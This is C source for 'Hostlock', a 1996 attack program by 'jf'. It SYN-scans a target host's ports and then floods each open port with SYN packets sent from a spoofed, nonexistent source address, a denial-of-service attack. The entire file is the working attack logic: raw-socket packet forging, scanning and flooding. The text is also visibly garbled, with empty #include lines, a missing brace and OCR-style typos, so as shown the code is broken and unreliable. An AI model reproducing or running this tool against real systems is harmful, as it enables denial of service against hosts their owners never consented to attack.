/* !!THIS PROGRAM IS EXTREMELY DANGEROUS!!. NO GUIDELINES * ARE PROVIDED FOR THE CODE CONTAINED HEREIN. IT IS MERELY * A DEMONSTRATION OF THE POSSIBLE DESTRUCTIVE USES OF IP * SPOOFING TECHNIQUES. THE AUTHOR CLAIMS NO RESPONSIBILITY * FOR ITS USE OR MISUSE. - jf (3/8/96) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define PACKET_SIZE sizeof(struct tcppkt) /* Configurable defaults. These are specifiable via the command line. */ #define DEF_BADDR "132.45.6.8" #define DEF_SYNS 32 /* (See Accompanying Table) */ #define DEF_MAX 32768 #define DEF_LOW 1 struct tcppkt { struct iphdr ip; struct tcphdr tcp; }; u_short ports[DEF_MAX]; void usage (progname) char *progname; { fprintf (stderr, "Hostlock v.01\n"); fprintf (stderr, "Usage: %s [optionsj\n", progname); fprintf (stderr, "Options:\n\ -b [addr]\tAddress from which the SYNflood packets should appear to be.\n\ \t\tThis address should have correct routing records, but not exist.\n\ -l [port]\tPort to begin scanning from.\n\ -h [port]\tPort to end scanning on.\n\ -d [port]\tSpecific port to flood.\n\ -n [syns]\tNumber of SYN packets to flood with.\n"); exit (1); } u_long resolve (host) char *host; { struct hostent *he; u_long addr; if ((he = gethostbyname (host)) == NULL) { addr = inet_addr (host); } else { bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list)); } return (addr); } /* From ping.c */ /* * in_cksum - * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) sum += *w++; nleft -= 2; } if (nleft == 1) { { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } int sendsyn (sin, s, saddr, sport, seq) struct sockaddr_in *sin; u_long saddr, seq; u_short sport; int s; { register struct iphdr *ip; register struct tcphdr *tcp; register char *php; static char packet[PACKET_SIZE]; static char phead[PACKET_SIZE + 12]; u_short len = 0; /* Overlay IP header structure onto packet. */ ip = (struct iphdr *) packet; /* Fill in IP Header values. */ ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons (PACKET_SIZE); ip->id = htons (2600 + (rand () % 32768)); ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->check = 0; ip->saddr = saddr; ip->daddr = sin->sin_addr.s_addr; /* The Linux kernel automatically checksums outgoing raw packets. However. other implementations might not, so if you are porting, remember to uncomment this line. ip->check = in_cksum((char *)&ip, sizeof(struct iphdr)); */ /* Overlay TCP header structure onto packet. */ tcp = (struct tcphdr *) (packet + sizeof (struct iphdr)); /* Fill in TCP header values. */ tcp->th_sport = htons (sport); tcp->th_dport = htons (sin->sin_port); tcp->th_seq = htonl (seq); tcp->th_ack = 0; tcp->th_x2 = 0; tcp->th_off = 5; tcp->th_flags = TH_SYN; tcp->th_win = htons (10052); tcp->th_sum = 0; tcp->th_urp = 0; php = phead; memset (php, 0, PACKET_SIZE + 12); memcpy (php, &(ip->saddr), 8); php += 9; memcpy (php, &(ip->protocol), 1); len = htons (sizeof (struct tcphdr)); memcpy (++php, &(len), 2); php += 2; memcpy (php, tcp, sizeof (struct tcphdr)); /* Now fill in the checksum. */ tcp->th_sum = in_cksum (php, sizeof (struct tcphdr) + 12); /* And send... */ return (sendto (s, packet, PACKET_SIZE, 0, (struct sockaddr *) sin, sizeof (struct sockaddr_in))); } int synscan (saddr, sport, lo, hi, s, r, sin) u_long saddr; u_short sport, lo, hi; int s, r; struct sockaddr_in *sin; { struct tcppkt buf; int i, total = 0; for (i = lo; i <= hi; i++) { sin->sin_port = i; if ((sendsyn (sin, s, saddr, sport, 31337)) == -1) { perror ("Error sending SYN packet"); exit (1); } for (;;) { memset (&buf, 0, PACKET_SIZE); read (r, &buf, PACKET_SIZE); /* Is it from our target? */ if (buf.ip.saddr != sin->sin_addr.s_addr) continue; /* Sequence number OK? */ if ((ntohl (buf.tcp.th_ack) != 31338) && (ntohl (buf.tcp.th_ack) != 31337)) continue; /* RST/ACK - No service listening on port. */ if ((buf.tcp.th_flags & TH_RST) && (buf.tcp.th_flags & TH_ACK)) break; /* SYN/ACK - Service listening on port. */ if ((buf.tcp.th_flags & TH_ACK) && (buf.tcp.th_flags & TH_SYN)) { ports[total] = ntohs (buf.tcp.th_sport); printf ("%d\n", ports[total++]); fflush (stdout); break; } } /* for(;;) */ } return (total); } void synflood (baddr, bport, s, numsyns, sin) u_long baddr; u_short bport, numsyns; int s; struct sockaddr_in *sin; { int i; printf ("%d", sin->sin_ port); fflush (stdout); for (i = 0; i < numsyns; i++) { usleep (30); if ((sendsyn (sin, s, baddr, bport++, 31337)) - 1) { perror ("Error sending SYN packet"); exit (1); } printf ("."); fflush (stdout); } printf ("\n"); } void main (argc, argv) int argc; char **argv: { struct sockaddr_in sin; u_long saddr, daddr, baddr; u_short i, numsyns, lo, hi; u_short sport = 2600, bport = 2600; char buf[256]; int s, r, total; total numsyns = lo = hi = baddr = 0; /* Minimum usage is "hostlock " */ if (argc < 2) usage (argv[0]); if ((daddr = resolve (argv[1])) == -1) { fprintf (stderr, "Bad hostname/IP address: %s\n", argv[1]); usage (argv[0]); } for (i = 2; i < argc; i++) { switch (argv[i][1]) { case 'b': case 'B': if ((baddr = inet_addr (argv[++i])) == -1) { fprintf (stderr, "Bad hostname/IP address: %s\n", argv[1]); fprintf (stderr, "Defaulting to %s ...\n", DEF_BADDR); baddr = inet_addr (DEF_BADDR); } break; case 'l': case 'L': lo = atoi (argv[++i]); break; case 'h': case 'H': hi = atoi (argv[++i]); break; case 'd': case 'D': hi = lo = atoi (argv[++i]); break; case 'n': case 'N': numsyns = atoi (argv[++i]); break; default: fprintf (stderr, "Unknown option: -%c\n", argv[i][1]); usage (argv[0]); break; } } /* Institute defaults if these options have not been specified. */ if (!numsyns) numsyns = DEF_SYNS; if (!lo) lo = DEF_LOW; if (!hi) hi = DEF_MAX; if (!baddr) baddr = inet_addr (DEF_BADDR); /* Fill in our sockaddr_in structure. */ sin.sin_family = PF_ INET; sin.sin_addr.s_addr = daddr; sin.sin_port = 0; if ((gethostname (buf, 256)) == -1) { perror ("Unable to get our hostnarne"); exit (1); } if ((saddr = resolve (buf)) == -1) { perror ("Unable to resolve our hostname"); exit (1); } /* Open our sending and receiving sockets. */ if ((s = socket (PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror ("Unable to open a raw socket"); exit (1); } if ((r = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { perror ("Unable to open a raw socket"); exit (1); } printf ("Performing hostlock on %s ports %d to %d.\n", inet_ntoa (sin.sin_addr), lo, hi); /* Scan. */ printf ("Scanning...\n"); fflush (stdout); total = synscan (saddr, sport, lo, hi, s, r, &sin); printf ("Scan completed. %d receiving ports found.\n", total); sleep (2); /* Pause to let everything clear out. */ printf ("Flooding ports with %d SYNs each...\n", numsyns); fflush (stdout); /* Flood. */ if (total) { for (i = 0; i < total; i++) { sin.sin_port = ports[i]; synflood (baddr, bport, s, numsyns, &sin); } } printf ("Hostlock completed. Exiting.\n"); exit (0); }